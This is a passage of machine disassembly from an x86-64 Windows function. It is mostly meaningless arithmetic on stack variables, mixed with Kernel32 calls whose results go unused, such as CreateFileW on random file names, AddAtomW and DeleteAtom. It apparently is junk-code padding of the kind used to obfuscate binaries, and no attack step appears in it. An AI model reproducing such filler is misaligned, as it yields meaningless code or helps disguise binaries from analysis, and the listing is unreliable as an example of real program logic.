add eax, ecx
mov dword [rsp + 0x9494], eax
mov rax, qword [0x140363ad0]
mov rcx, qword [rsp + 0x15c50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab68], eax
mov eax, dword [rsp + 0x6554]
mov dword [rsp + 0xb1f8], eax
mov eax, dword [rsp + 0xadf0]
mov ecx, dword [rsp + 0xb0fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xab3c], eax
movzx ecx, word [rsp + 0x2d30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b58], ax
movsx eax, byte [0x14035e55d]
mov rcx, qword [rsp + 0x16348]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13250]
mov byte [rcx], al
movzx eax, word [rsp + 0x1c3c]
mov word [rsp + 0x2de4], ax
movzx eax, word [rsp + 0x16dc]
mov rcx, qword [rsp + 0x152a0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x155a8]
mov word [rcx], ax
movzx eax, byte [0x14035e503]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1403639c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15780]
mov rcx, qword [rsp + 0x153c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b44], eax
mov rax, qword [rsp + 0x15780]
mov ecx, dword [rsp + 0x6b80]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa9dc], eax
movzx eax, byte [rsp + 0x328]
mov rcx, qword [rsp + 0x13ce8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e2], al
mov rax, qword [rsp + 0x14e68]
movzx eax, word [rax]
mov word [rsp + 0x2de8], ax
mov rax, qword [0x140363fa0]
mov rcx, qword [rsp + 0x13f98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14a80]
mov dword [rcx], eax
mov eax, dword [rsp + 0xadcc]
mov ecx, dword [rsp + 0xb1cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x97ec], eax
mov rax, qword [rsp + 0x14ce8]
mov rcx, qword [0x140363db8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1f4], eax
lea rax, [rsp + 0x2aa8]
mov qword [0x140364110], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x16480], rax
mov rax, qword [rsp + 0x13b28]
mov ecx, dword [rsp + 0xac80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad24], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [rsp + 0xb070]
mov qword [rsp + 0x16488], rax
mov rax, qword [rsp + 0x143b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x16248]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x149a0]
mov byte [rcx], al
lea rax, [0x140363124]
mov qword [rsp + 0x16490], rax
mov rax, qword [rsp + 0x14f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15bf8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14a90]
mov byte [rcx], al
mov rax, qword [rsp + 0x152a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d04]
xor eax, ecx
mov word [rsp + 0x21e4], ax
mov eax, dword [rsp + 0xab38]
mov dword [rsp + 0xb1fc], eax
mov rax, qword [rsp + 0x15778]
mov eax, dword [rax]
mov dword [0x1403640fc], eax
mov r9d, 0x66
xor r8d, r8d
lea rdx, [rsp + 0x15eb0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb200], eax
mov r9d, 1
lea r8, [rsp + 0x12f98]
mov rdx, qword [rsp + 0x14638]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa9f4], eax
mov rax, qword [rsp + 0x15f80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15700]
mov qword [rsp + 0x16498], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16498]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14440]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6cb8]
mov dword [rsp + 0xb204], eax
lea rdx, [rsp + 0x45e38]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb208], eax
mov eax, dword [rsp + 0xb16c]
mov ecx, dword [rsp + 0x8904]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15890]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x709]
movzx ecx, byte [rsp + 0x71b]
and eax, ecx
mov byte [rsp + 0x562], al
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2af0]
sub eax, ecx
mov word [rsp + 0x223c], ax
mov rax, qword [rsp + 0x14838]
mov ecx, dword [rsp + 0x6354]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15838]
mov dword [rcx], eax
lea rax, [rsp + 0x6ae4]
mov qword [rsp + 0x164a0], rax
mov eax, dword [rsp + 0x8ce0]
mov ecx, dword [0x140363d80]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x71c4], eax
mov rax, qword [rsp + 0x133d0]
mov ecx, dword [rsp + 0x7114]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140364100]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x704]
movzx ecx, byte [rsp + 0x6bc]
or eax, ecx
mov rcx, qword [rsp + 0x14e58]
mov byte [rcx], al
lea rax, [rsp + 0x11c4]
mov qword [rsp + 0x164a8], rax
movsx eax, byte [rsp + 0x2f8]
mov rcx, qword [rsp + 0x15810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov byte [rcx], al
movzx eax, word [0x140363124]
mov word [rsp + 0x2dec], ax
mov eax, dword [rsp + 0xb038]
mov ecx, dword [rsp + 0xaac0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9dc], eax
lea rax, [rsp + 0x6fe8]
mov qword [rsp + 0x164b0], rax
mov rax, qword [rsp + 0x14d08]
movzx eax, word [rax]
mov rcx, qword [0x140364000]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14d48]
mov word [rcx], ax
mov rax, qword [rsp + 0x14158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x334]
sub eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x13b28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x136b0]
mov qword [rsp + 0x164b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x164b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140363d28]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rax, [0x140363fd0]
mov qword [rsp + 0x164c0], rax
movzx ecx, word [rsp + 0x2cf0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2dbc], ax
mov rax, qword [rsp + 0x13d10]
mov rcx, qword [rsp + 0x14800]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7de4], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13248]
mov qword [rsp + 0x164c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x164c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9b14], eax
mov rax, qword [0x140363f78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cb8]
or eax, ecx
mov word [rsp + 0x2b00], ax
movzx eax, byte [rsp + 0x6fa]
mov rcx, qword [rsp + 0x15640]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13d50]
mov byte [rcx], al
lea rax, [rsp + 0xaf90]
mov qword [rsp + 0x164d0], rax
lea rcx, str.QS5H
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2df0], ax
mov eax, dword [rsp + 0xaad8]
mov ecx, dword [rsp + 0xa908]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x910c], eax
mov rax, qword [rsp + 0x14210]
mov eax, dword [rax]
mov dword [rsp + 0xb20c], eax
mov rax, qword [rsp + 0x15f10]
mov rcx, qword [0x140363ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035ccb0], eax
mov rax, qword [rsp + 0x140b0]
mov rcx, qword [rsp + 0x13da8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa18], eax
mov rax, qword [rsp + 0x13378]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13bc8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13d60]
mov word [rcx], ax
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x164d8], rax
movzx eax, word [rsp + 0x2d84]
mov rcx, qword [rsp + 0x16290]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13758]
mov word [rcx], ax
lea rax, [rsp + 0x6d6]
mov qword [rsp + 0x164e0], rax
mov rax, qword [rsp + 0x15780]
mov ecx, dword [0x140363c90]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb1c8], eax
mov rax, qword [rsp + 0x136c8]
mov ecx, dword [rsp + 0xa1e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d4], eax
movzx eax, word [rsp + 0x2a58]
mov word [rsp + 0x2df4], ax
mov rax, qword [0x140363d78]
movzx eax, byte [rax]
mov byte [0x14035e55e], al
mov rax, qword [rsp + 0x16100]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x66cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8388], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xabd0], eax
mov rax, qword [rsp + 0x15e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7200]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1e0], eax
mov rax, qword [rsp + 0x133f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bd8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142e0]
mov dword [rcx], eax
lea rcx, [rsp + 0x41dd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13488]
mov eax, dword [rax]
mov dword [rsp + 0xb210], eax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x749], al
movzx eax, word [0x14035cbfc]
movzx ecx, word [rsp + 0x2b98]
shl eax, cl
mov rcx, qword [rsp + 0x145f8]
mov word [rcx], ax
lea rax, [rsp + 0xb160]
mov qword [rsp + 0x164e8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac04], eax
lea rcx, str.o5PZRWx_YCBjxUSX_ZG4U
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2df8], ax
mov eax, dword [rsp + 0x717c]
mov ecx, dword [rsp + 0xad50]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15f78]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x140363e10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4ff]
mov rcx, qword [rsp + 0x13918]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4a4], al
movzx eax, word [rsp + 0x2ce4]
movzx ecx, word [rsp + 0x29e4]
and eax, ecx
mov word [rsp + 0x2c80], ax
mov rax, qword [rsp + 0x16078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x148c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x416], al
lea rax, [rsp + 0xae94]
mov qword [rsp + 0x164f0], rax
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x15340]
mov eax, dword [rax]
mov ecx, dword [0x14035cbd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xadb4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
lea rax, [rsp + 0xb180]
mov qword [rsp + 0x164f8], rax
mov rax, qword [rsp + 0x14de8]
mov rcx, qword [rsp + 0x16450]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x67e4], eax
mov rax, qword [0x140363b38]
mov ecx, dword [rsp + 0xb134]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15328]
mov dword [rcx], eax
lea rax, [rsp + 0x2dd0]
mov qword [rsp + 0x16500], rax
lea rax, [rsp + 0x6d1]
mov qword [0x140364118], rax
mov eax, dword [rsp + 0xa988]
mov ecx, dword [rsp + 0x6d20]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15340]
mov dword [rcx], eax
lea rax, [rsp + 0xb060]
mov qword [rsp + 0x16508], rax
mov rax, qword [rsp + 0x149b0]
mov ecx, dword [rsp + 0xaf98]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6ad0], eax
lea rax, [rsp + 0x6e80]
mov qword [rsp + 0x16510], rax
mov rax, qword [0x140363b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c2c]
sub eax, ecx
mov word [rsp + 0x2a14], ax
mov rax, qword [rsp + 0x14920]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15d10]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x153a0]
mov byte [rcx], al
lea rax, [0x14035e547]
mov qword [rsp + 0x16518], rax
mov rax, qword [rsp + 0x13998]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x157a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x163f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13920]
mov ecx, dword [rsp + 0x7afc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140363968]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaec8]
mov dword [rsp + 0xb214], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.NgEbBjNXzuBAwO3hEj6Z
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16520], rax
mov r9d, 0x221e
xor r8d, r8d
lea rdx, [rsp + 0x16398]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaee0], eax
mov rax, qword [rsp + 0x16050]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x152c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5fb], al
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16a4]
sub eax, ecx
mov word [rsp + 0x2c58], ax
lea rax, [0x140363ea0]
mov qword [rsp + 0x16528], rax
mov rax, qword [rsp + 0x13dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cb0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa90], eax
lea rax, [rsp + 0x6384]
mov qword [rsp + 0x16530], rax
mov eax, dword [rsp + 0xabb8]
mov ecx, dword [rsp + 0xab08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9688], eax
movzx eax, byte [rsp + 0x72e]
movzx ecx, byte [rsp + 0x71e]
and eax, ecx
mov rcx, qword [rsp + 0x16020]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaec0], eax
mov r9d, 2
lea r8, [rsp + 0x15028]
mov rdx, qword [rsp + 0x13750]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb218], eax
lea rdx, [rsp + 0x45ce8]
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa7c4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.SaMUb_vtX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16538], rax
lea rax, [rsp + 0x2ba0]
mov qword [0x140364120], rax
lea rax, [0x14035cca4]
mov qword [rsp + 0x16540], rax
mov rax, qword [rsp + 0x15738]
mov rcx, qword [rsp + 0x149c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa900], eax
mov eax, dword [rsp + 0xb0cc]
mov dword [rsp + 0xb21c], eax
mov rax, qword [rsp + 0x14c18]
mov ecx, dword [0x140363c94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6600], eax
mov rax, qword [rsp + 0x14730]
mov rcx, qword [rsp + 0x15d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xadb8], eax
mov rax, qword [rsp + 0x161a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x142e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2700], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movsx eax, byte [rsp + 0x6b6]
mov rcx, qword [rsp + 0x13d78]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15a48]
mov byte [rcx], al
lea rax, [rsp + 0x711]
mov qword [rsp + 0x16548], rax
movzx eax, word [rsp + 0x2a7c]
movzx ecx, word [rsp + 0x1e30]
or eax, ecx
mov word [0x14035cbe0], ax
mov rax, qword [0x140363d58]
mov ecx, dword [rsp + 0x92f0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15370]
mov dword [rcx], eax
lea rax, [rsp + 0x9ae0]
mov qword [rsp + 0x16550], rax
mov r9d, 0x20ad
xor r8d, r8d
lea rdx, [rsp + 0x16030]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa924], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, word [rsp + 0x2a88]
mov rcx, qword [0x140364070]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b28]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x133c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13c08]
mov eax, dword [rax]
mov dword [rsp + 0xb220], eax
mov rax, qword [rsp + 0x15ec0]
mov ecx, dword [rsp + 0xad14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xadd4], eax
lea rax, [rsp + 0xab34]
mov qword [rsp + 0x16558], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.8pgflDA9aMbDZnPgh5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16560], rax
mov rax, qword [rsp + 0x162d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa04]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15570]
mov dword [rcx], eax
lea rax, [rsp + 0x2b98]
mov qword [0x140364128], rax
movzx eax, byte [0x14035e4f7]
movzx ecx, byte [rsp + 0x6f7]
sub eax, ecx
mov byte [rsp + 0x118], al
lea rax, [rsp + 0xb1e0]
mov qword [rsp + 0x16568], rax
mov rax, qword [rsp + 0x14250]
mov ecx, dword [rsp + 0xad00]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14080]
mov dword [rcx], eax
lea rax, [0x14035e4d6]
mov qword [rsp + 0x16570], rax
movsx eax, word [rsp + 0x16c8]
movsx ecx, word [rsp + 0x1f1c]
sub eax, ecx
mov rcx, qword [rsp + 0x14960]
mov word [rcx], ax
mov rax, qword [rsp + 0x158b0]
movzx eax, word [rax]
movzx ecx, word [0x14035cc14]
and eax, ecx
mov rcx, qword [rsp + 0x164a8]
mov word [rcx], ax
lea rax, [rsp + 0x58b]
mov qword [rsp + 0x16578], rax
mov rax, qword [rsp + 0x13e90]
mov ecx, dword [rsp + 0xab64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99e8], eax
mov rax, qword [0x140363b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabe4]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363b60]
mov dword [rcx], eax
lea rax, [rsp + 0x6ad8]
mov qword [rsp + 0x16580], rax
movzx ecx, word [rsp + 0x2cf0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2dc4], ax
mov eax, dword [rsp + 0xab38]
mov ecx, dword [rsp + 0xb0b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xafa0], eax
mov rax, qword [rsp + 0x153f8]
mov rcx, qword [0x140363e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15cb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e38], ax
movzx eax, byte [rsp + 0x73b]
mov rcx, qword [rsp + 0x13e10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x154e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov dword [rsp + 0xb224], eax
lea rcx, [rsp + 0x41d78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x158b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa71c]
shl eax, cl
mov rcx, qword [rsp + 0x15808]
mov dword [rcx], eax
lea rax, [rsp + 0xa8d8]
mov qword [rsp + 0x16588], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.H6Xjs4XmrLYLran4PV3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16590], rax
mov rax, qword [rsp + 0x13df0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15e78]
mov qword [rsp + 0x16598], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16598]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140363a70], eax
movzx eax, byte [rsp + 0x6c6]
movzx ecx, byte [rsp + 0x6fc]
xor eax, ecx
mov rcx, qword [rsp + 0x15080]
mov byte [rcx], al
movzx eax, word [rsp + 0x2554]
movzx ecx, word [rsp + 0x2a58]
or eax, ecx
mov word [rsp + 0x2a7c], ax
movsx eax, byte [rsp + 0x400]
mov rcx, qword [rsp + 0x16420]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2ad], al
mov rax, qword [rsp + 0x14768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
and eax, ecx
mov word [rsp + 0x1f1c], ax
lea rax, [0x140363ba4]
mov qword [rsp + 0x165a0], rax
mov rax, qword [rsp + 0x13d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ce0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2da4]
or eax, ecx
mov word [rsp + 0x29f0], ax
lea rax, [rsp + 0x53b]
mov qword [rsp + 0x165a8], rax
lea rax, [rsp + 0x7480]
mov qword [0x140364130], rax
mov rax, qword [rsp + 0x13418]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7e8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ad0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0x163d0]
mov eax, dword [rax]
mov dword [rsp + 0xb228], eax
mov rax, qword [rsp + 0x15dc0]
mov rcx, qword [rsp + 0x138c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x16228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15760]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13448]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c64], ax
movzx eax, byte [0x140353573]
mov byte [rsp + 0x74b], al
movzx ecx, word [rsp + 0x2b7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29e8], ax
mov rax, qword [rsp + 0x148d0]
mov rcx, qword [rsp + 0x15870]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8b3c], eax
mov eax, dword [rsp + 0x8428]
mov ecx, dword [rsp + 0x6824]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7674], eax
mov rax, qword [rsp + 0x13710]
mov eax, dword [rax]
mov ecx, dword [0x140363bf8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x163c0]
mov dword [rcx], eax
lea rcx, [rsp + 0x41ce8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x15740]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13bd0]
mov qword [rsp + 0x165b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x165b0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140363d84], eax
lea rax, [rsp + 0xb0c8]
mov qword [rsp + 0x165b8], rax
movsx eax, byte [0x14035e48f]
movsx ecx, byte [rsp + 0x6c8]
sar eax, cl
mov byte [rsp + 0x2ad], al
mov rax, qword [rsp + 0x14ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2320]
or eax, ecx
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
lea rax, [rsp + 0x6bc]
mov qword [rsp + 0x165c0], rax
movzx eax, word [rsp + 0x2c30]
mov rcx, qword [rsp + 0x15d58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14738]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x6378]
mov qword [rsp + 0x165c8], rax
mov rax, qword [0x140363fe8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb160], eax
movzx eax, word [rsp + 0x2c2c]
movzx ecx, word [rsp + 0x2b24]
add eax, ecx
mov word [rsp + 0x29a4], ax
lea rax, [rsp + 0x724]
mov qword [0x140364138], rax
mov rax, qword [rsp + 0x13af8]
mov eax, dword [rax]
mov dword [rsp + 0xb22c], eax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xacd0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15e48]
mov dword [rcx], eax
lea rdx, [rsp + 0x12f98]
mov rcx, qword [rsp + 0x16560]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xacc8], eax
mov rax, qword [rsp + 0x13c60]
mov rcx, qword [rsp + 0x16010]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7138], eax
mov eax, dword [0x140363f10]
mov ecx, dword [rsp + 0x800c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14fd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15260]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b9], al
mov r9d, 0x1484
xor r8d, r8d
lea rdx, [rsp + 0x135e0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb230], eax
lea rax, [rsp + 0x2cb8]
mov qword [rsp + 0x165d0], rax
mov rax, qword [rsp + 0x163d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ef4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15858]
mov dword [rcx], eax
lea rax, [rsp + 0xadb8]
mov qword [rsp + 0x165d8], rax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x2c04]
and eax, ecx
mov word [0x14035cc20], ax
movsx eax, byte [rsp + 0x25f]
movsx ecx, byte [rsp + 0x73a]
add eax, ecx
